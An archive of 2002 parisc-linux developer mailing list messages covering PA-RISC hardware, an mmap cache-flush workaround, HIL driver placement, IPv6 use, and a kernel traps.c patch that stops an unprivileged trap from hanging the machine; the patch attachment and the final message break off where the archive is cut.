Date: Sun, 3 Nov 2002 02:43:23 EST
Lines: 36
Approved: news@gmane.org
Message-ID: <49.25f3aff8.2af62d9b@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_49.25f3aff8.2af62d9b_boundary"
X-Trace: ger.gmane.org 1416621877 16398 80.91.229.3 (22 Nov 2014 02:04:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:37 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  3 00:43:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from imo-d02.mx.aol.com (imo-d02.mx.aol.com [205.188.157.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id D02834829
	for <parisc-linux@parisc-linux.org>; Sun,  3 Nov 2002 00:43:35 -0700 (MST)
Original-Received: from WRBoyer123@aol.com
	by imo-d02.mx.aol.com (mail_out_v34.13.) id b.49.25f3aff8 (4552)
	 for <parisc-linux@parisc-linux.org>; Sun, 3 Nov 2002 02:43:23 -0500 (EST)
X-Mailer: AOL 6.0 for Windows US sub 10578
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16642

--part1_49.25f3aff8.2af62d9b_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

In a message dated 11/2/02 5:45:23 PM Pacific Standard Time, willy@debian.org 
writes:


> I just noticed that we only have a 742 in the hardware database... anyone
> got a 743, 744, 745, 747 or 748 workstation they could add?
> 

Or.... anyone have any 74x hardware they want to SELL?  They are in short 
supply on the surplus market.

wayne


--part1_49.25f3aff8.2af62d9b_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>In a message dated 11/2/02 5:45:23 PM Pacific Standard Time, willy@debian.org writes:
<BR>
<BR>
<BR><BLOCKQUOTE TYPE=CITE style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">I just noticed that we only have a 742 in the hardware database... anyone
<BR>got a 743, 744, 745, 747 or 748 workstation they could add?
<BR></FONT><FONT  COLOR="#000000" SIZE=3 FAMILY="SANSSERIF" FACE="Arial" LANG="0"></BLOCKQUOTE>
<BR></FONT><FONT  COLOR="#000000" SIZE=2 FAMILY="SANSSERIF" FACE="Arial" LANG="0">
<BR>Or.... anyone have any 74x hardware they want to SELL? &nbsp;They are in short supply on the surplus market.
<BR>
<BR>wayne
<BR></FONT></HTML>

--part1_49.25f3aff8.2af62d9b_boundary--


From - Thu Nov 08 21:25:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unreliable mmap
Date: Sun, 3 Nov 2002 12:33:56 +0100 (CET)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0211031232380.24848-100000@gfrw1044.bocc.de>
References: <20021023231536.GC5602@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621878 16399 80.91.229.3 (22 Nov 2014 02:04:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:38 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  3 04:40:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B4884829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Nov 2002 04:40:14 -0700 (MST)
Original-Received: from gfrw1044.bocc.de (pD9E0148D.dip.t-dialin.net [217.224.20.141])
	(authenticated)
	by mail.scram.de (8.11.6+3.4W/8.11.0) with ESMTP id gA3Be2J03996;
	Sun, 3 Nov 2002 12:40:03 +0100 (CET)
X-X-Sender: jochen@gfrw1044.bocc.de
In-Reply-To: <20021023231536.GC5602@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16643

Hi Randolph,

> no one has managed to really track this down yet. i can insert a dcache
> flush into the kernel to 'fix' this, but it is not the right place to be
> doing the flush.

I can confirm this. The following patch "fixes" the problem for me. Please
do NOT apply this dirty hack to CVS!

cvs server: Diffing .
Index: filemap.c
===================================================================
RCS file: /var/cvs/linux/mm/filemap.c,v
retrieving revision 1.27
diff -u -r1.27 filemap.c
--- filemap.c   4 Aug 2002 23:00:15 -0000       1.27
+++ filemap.c   3 Nov 2002 11:37:52 -0000
@@ -3075,6 +3075,7 @@
                        goto sync_failure;
                page_fault = __copy_from_user(kaddr+offset, buf, bytes);
                flush_dcache_page(page);
+               flush_cache_all();
                status = mapping->a_ops->commit_write(file, page, offset,
offset+bytes);
                if (page_fault)
                        goto fail_write;


--jochen



From - Thu Nov 08 21:25:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Placement of hil drivers
Date: Sun, 3 Nov 2002 10:42:17 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20021103154217.GK21694@systemhalted>
References: <20021102155723.I20749@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621878 16402 80.91.229.3 (22 Nov 2014 02:04:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:38 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  3 08:42:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92A8E4829
	for <parisc-linux@parisc-linux.org>; Sun,  3 Nov 2002 08:42:12 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 188MtF-0008DJ-00; Sun, 03 Nov 2002 10:42:17 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20021102155723.I20749@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (60% Sync Ratio [======....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16644

> 
> So it seems to me that all of drivers/hil (in the 2.5 tree) depends
> on stuff in drivers/input.  Is there any reason it shouldn't be in
> drivers/input/hil rather than drivers/hil?  Or is there an even better
> place to put it?
> 
> I notice that we don't even have the option to select the HIL configure
> options in 2.5 at the moment, which means nobody's testing on 715/Scorpio
> and similar boxes.  This is a shame... my goal for 2.6 is to get to a 20k
> diff vs Linus' tree.  Which reminds me, it's time for a 2.5 status report.
> Coming right up..
> 

Willy,

I could give 2.5 a whirl on the following boxes: 715/50 and 715/33.
I'll get back to you with results.

Cheers,
Carlos.



From - Thu Nov 08 21:25:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Placement of hil drivers
Date: Sun, 3 Nov 2002 22:31:32 +0100
Organization: ESIEE
Lines: 29
Approved: news@gmane.org
Message-ID: <20021103223132.7d57ffff.varenet@esiee.fr>
References: <20021102155723.I20749@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621878 16404 80.91.229.3 (22 Nov 2014 02:04:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:38 +0000 (UTC)
Cc: willy@debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  3 14:31:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e004.dhcp212-198-142.noos.fr [212.198.142.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6684C4829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Nov 2002 14:31:47 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id gA3LVWIG019369;
	Sun, 3 Nov 2002 22:31:33 +0100
In-Reply-To: <20021102155723.I20749@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16645

On Sat, 2 Nov 2002 15:57:23 +0000
"Matthew Wilcox" <willy@debian.org> wrote:

> 
> So it seems to me that all of drivers/hil (in the 2.5 tree) depends
> on stuff in drivers/input.  Is there any reason it shouldn't be in
> drivers/input/hil rather than drivers/hil?  Or is there an even better
> place to put it?
> 
> I notice that we don't even have the option to select the HIL configure
> options in 2.5 at the moment, which means nobody's testing on 715/Scorpio
That's not true, I've worked hard enough on 2.5 config system, and especially on HIL, to deny such statement ;^)

These options are already in the Input Drivers section of 2.5 config
Check for Serial i/o support, then you'll get the HP HIL driver core support.

There are various dependencies on whether or not you enable the Mouse interface and other stuff, but all options are present.

AFAICR, I already have said when we merged 2.4 config files into 2.5 that HIL driver files and config may need review.

It looks like time has come for such review.

I would like to hear from Helge Deller too.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:25:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ip6tables problem
Date: Sun, 3 Nov 2002 23:56:47 +0100 (CET)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0211032348580.24848-100000@gfrw1044.bocc.de>
References: <20021031193623.6B06E4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621879 16412 80.91.229.3 (22 Nov 2014 02:04:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:39 +0000 (UTC)
Cc: "BUCH-PEDERSEN,LEIF (HP-France,ex1)" <leif_buch-pedersen@hp.com>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  3 16:03:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA4E34829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Nov 2002 16:03:09 -0700 (MST)
Original-Received: from gfrw1044.bocc.de (pD9E0148D.dip.t-dialin.net [217.224.20.141])
	(authenticated)
	by mail.scram.de (8.11.6+3.4W/8.11.0) with ESMTP id gA3N2sJ09094;
	Mon, 4 Nov 2002 00:02:55 +0100 (CET)
X-X-Sender: jochen@gfrw1044.bocc.de
In-Reply-To: <20021031193623.6B06E4829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16646

Hi Grant,

> Not many people use IPV6 (ie run it on their machines).
> I'm not aware of anyone trying it for parisc-linux.

I'm running an IPv6 cluster on two 715 HPPA machines in production use
(using heartbeat and an IPv6 IP address takeover script). Yet another 720
HPPA machine is running for development and testing and partly builds the
stuff for the Debian IPv6 project (http://debian.fabbione.net).

However, i'm not using the ip6tables on that boxes as all three of them
are behind dedicated packet filters...

At least i can confirm the original problem (just tried it on the 720).

--jochen



From - Thu Nov 08 21:25:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Placement of hil drivers
Date: Sun, 3 Nov 2002 23:18:49 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20021103231849.D20749@parcelfarce.linux.theplanet.co.uk>
References: <20021102155723.I20749@parcelfarce.linux.theplanet.co.uk> <20021103223132.7d57ffff.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621879 16415 80.91.229.3 (22 Nov 2014 02:04:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, willy@debian.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  3 16:18:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D20714829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Nov 2002 16:18:53 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 188U13-0001yy-00; Sun, 03 Nov 2002 23:18:49 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021103223132.7d57ffff.varenet@esiee.fr>; from varenet@esiee.fr on Sun, Nov 03, 2002 at 10:31:32PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16647

On Sun, Nov 03, 2002 at 10:31:32PM +0100, Thibaut VARENE wrote:
> That's not true, I've worked hard enough on 2.5 config system, and
> especially on HIL, to deny such statement ;^)

OK, it's nowhere to be found in 2.5.45 ;-)  I guess this change got lost
during the Kconfig transition.

> AFAICR, I already have said when we merged 2.4 config files into 2.5 that
> HIL driver files and config may need review.
> 
> It looks like time has come for such review.

Certainly, that was what i was starting to do when i noticed nothing was
including the Kconfig stuff in drivers/hil ... and that no Makefile was
linking drivers/hil.  So it's not _just_ the Kconfig changes that broke
this.

> I would like to hear from Helge Deller too.

Yep, and Brian Julin... at least to hear that they don't care where
these drivers are put.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux carlos
Date: Sun, 3 Nov 2002 19:58:13 -0500
Lines: 172
Approved: news@gmane.org
Message-ID: <20021104005813.GB4192@systemhalted>
References: <20021104004626.651BC4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="x+6KMIRAuhnl3hBn"
X-Trace: ger.gmane.org 1416621879 16421 80.91.229.3 (22 Nov 2014 02:04:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:39 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  3 17:58:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0BF5F4829; Sun,  3 Nov 2002 17:58:09 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 188VZG-0002FS-00; Sun, 03 Nov 2002 19:58:14 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org,
	parisc-linux-cvs@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20021104004626.651BC4829@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16648

--x+6KMIRAuhnl3hBn
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

> CVSROOT:	/var/cvs
> Module name:	linux
> Changes by:	carlos	02/11/03 17:46:26
> 
> Modified files:
> 	arch/parisc/kernel: traps.c 
> 
> Log message:
> Add support for Trap 13 (Conditionals). Fix Trap 16/17 so they don't hose the processor. Cosmetic changes and the addition of a few comments.
> 

This code has been sitting in my tree since Krystof managed to figure
out a really cool way to hang my C3K and A500. It looks like FIC'ing
into an unmapped page will cause a Trap 17, which should really signal
the process and not gutter the processor in parisc_termiante.

I also added a somewhat shakey implementation of Trap 13, based on a
reverse engineering of old code that was meant for HP/UX.

Initially Grant and myself took the code to Frank Rowand, who admitted
that his PARISC knowledge was too out of date to validate the patch.

Jsm, I know you're busy, so I've just put the code into CVS, even if
it's wrong it's a closer step towards correctness :) It also stops
regular users from hosing the box.

c.



--x+6KMIRAuhnl3hBn
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="traps.diff"

Index: traps.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/traps.c,v
retrieving revision 1.66
diff -u -p -r1.66 traps.c
--- traps.c	21 Oct 2002 15:31:56 -0000	1.66
+++ traps.c	4 Nov 2002 00:38:59 -0000
@@ -426,7 +426,7 @@ void transfer_pim_to_trap_frame(struct p
 
 
 /*
- * This routine handles page faults.  It determines the address,
+ * This routine handles various exception codes.  It determines the address,
  * and the problem, and then passes it off to one of the appropriate
  * routines.
  */
@@ -445,8 +445,18 @@ void parisc_terminate(char *msg, struct 
 	if (!console_drivers)
 		pdc_console_restart();
 
-	if (code == 1)
-	    transfer_pim_to_trap_frame(regs);
+
+	/* Not all switch paths will gutter the processor... */
+	switch(code){
+
+	case 1:
+		transfer_pim_to_trap_frame(regs);
+		break;
+	    
+	default:
+		/* Fall through */
+		break;
+	}
 
 	show_stack(regs);
 
@@ -462,6 +472,7 @@ void parisc_terminate(char *msg, struct 
 	 * system will shut down immediately right here. */
 	pdc_soft_power_button(0);
 	
+	/* Gutter the processor... */
 	for(;;)
 	    ;
 }
@@ -562,6 +573,7 @@ void handle_interruption(int code, struc
 
 		die_if_kernel("Privileged register usage", regs, code);
 		si.si_code = ILL_PRVREG;
+		/* Fall thru */
 	give_sigill:
 		si.si_signo = SIGILL;
 		si.si_errno = 0;
@@ -576,6 +588,17 @@ void handle_interruption(int code, struc
 		si.si_addr = (void *) regs->iaoq[0];
 		force_sig_info(SIGFPE, &si, current);
 		return;
+	
+	case 13:
+		/* Conditional Trap 
+		   The condition succees in an instruction which traps on condition  */
+		si.si_signo = SIGFPE;
+		/* Set to zero, and let the userspace app figure it out from
+		   the insn pointed to by si_addr */
+		si.si_code = 0;
+		si.si_addr = (void *) regs->iaoq[0];
+		force_sig_info(SIGFPE, &si, current);
+		return;
 
 	case 14:
 		/* Assist Exception Trap, i.e. floating point exception. */
@@ -583,14 +606,22 @@ void handle_interruption(int code, struc
 		handle_fpe(regs);
 		return;
 
+	case 15: 
+		/* Data TLB miss fault/Data page fault */	
+		/* Fall thru */
+	case 16:
+		/* Non-access instruction TLB miss fault */
+		/* The instruction TLB entry needed for the target address of the FIC
+		   is absent, and hardware can't find it, so we get to cleanup */
+		/* Fall thru */
 	case 17:
 		/* Non-access data TLB miss fault/Non-access data page fault */
 		/* TODO: Still need to add slow path emulation code here */
-		
-		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
-
+		/* TODO: Understand what is meant by the TODO listed 
+		   above this one. (Carlos) */
 		fault_address = regs->ior;
-		parisc_terminate("Non access data tlb fault!",regs,code,fault_address);
+		fault_space = regs->isr;
+		break;
 
 	case 18:
 		/* PCXS only -- later cpu's split this into types 26,27 & 28 */
@@ -600,9 +631,8 @@ void handle_interruption(int code, struc
 			return;
 		}
 		/* Fall Through */
-
-	case 15: /* Data TLB miss fault/Data page fault */
-	case 26: /* PCXL: Data memory access rights trap */
+	case 26: 
+		/* PCXL: Data memory access rights trap */
 		fault_address = regs->ior;
 		fault_space   = regs->isr;
 		break;
@@ -632,6 +662,11 @@ void handle_interruption(int code, struc
 		pt_regs_to_ssp(regs, &ssp);
 		kgdb_trap(I_TAKEN_BR, &ssp, 1);
 		ssp_to_pt_regs(&ssp, regs);
+
+		/* FIXME: Should this break without setting fault_address
+		   and fault_space? They are required for the dump later on.
+		   (Carlos) */
+		
 		break;
 #endif /* CONFIG_KWDB */
 
@@ -667,7 +702,6 @@ void handle_interruption(int code, struc
 			up_read(&current->mm->mmap_sem);
 		}
 		/* Fall Through */
-
 	case 27: 
 		/* Data memory protection ID trap */
 		die_if_kernel("Protection id trap", regs, code);
@@ -734,8 +768,8 @@ void handle_interruption(int code, struc
 
 	    if (fault_space == 0) {
 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);

From - Thu Nov 08 21:25:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] merge status
Date: Mon, 4 Nov 2002 03:45:11 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20021104034511.G20749@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621880 16427 80.91.229.3 (22 Nov 2014 02:04:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  3 20:45:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43E2D4829
	for <parisc-linux@parisc-linux.org>; Sun,  3 Nov 2002 20:45:16 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 188YAp-0003t7-00
	for parisc-linux@parisc-linux.org; Mon, 04 Nov 2002 03:45:11 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
